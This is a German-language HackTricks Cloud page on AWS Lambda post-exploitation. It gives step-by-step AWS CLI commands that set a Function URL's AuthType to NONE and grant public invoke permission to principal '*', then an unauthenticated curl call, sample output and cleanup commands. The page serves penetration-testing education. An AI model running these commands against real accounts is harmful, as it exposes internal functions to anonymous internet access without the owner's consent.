Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
T

2.1 KiB

AWS - Lambda Function URL Öffentliche Exposition (AuthType NONE + Public Invoke Policy)

{{#include ../../../../banners/hacktricks-training.md}}

Verwandeln Sie eine private Lambda Function URL in einen öffentlichen, nicht authentifizierten Endpunkt, indem Sie den Function URL AuthType auf NONE setzen und eine ressourcenbasierte Richtlinie anhängen, die lambda:InvokeFunctionUrl für alle gewährt. Das ermöglicht anonyme Aufrufe interner Funktionen und kann sensible Backend-Operationen offenlegen.

Ausnutzung

  • Voraussetzungen: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
  • Region: us-east-1

Schritte

  1. Stellen Sie sicher, dass die Funktion eine Function URL hat (Standard: AWS_IAM):
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
  1. Wechseln Sie die URL auf öffentlich (AuthType NONE):
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
  1. Fügen Sie eine ressourcenbasierte Richtlinie hinzu, die nicht authentifizierten Principals Zugriff erlaubt:
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
  1. Holen Sie die URL und rufen Sie sie ohne Anmeldeinformationen auf:
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"

Auswirkung

  • Die Lambda-Funktion ist anonym über das Internet zugänglich.

Beispielausgabe (nicht authentifiziert 200)

HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}

Aufräumen

aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true

{{#include ../../../../banners/hacktricks-training.md}}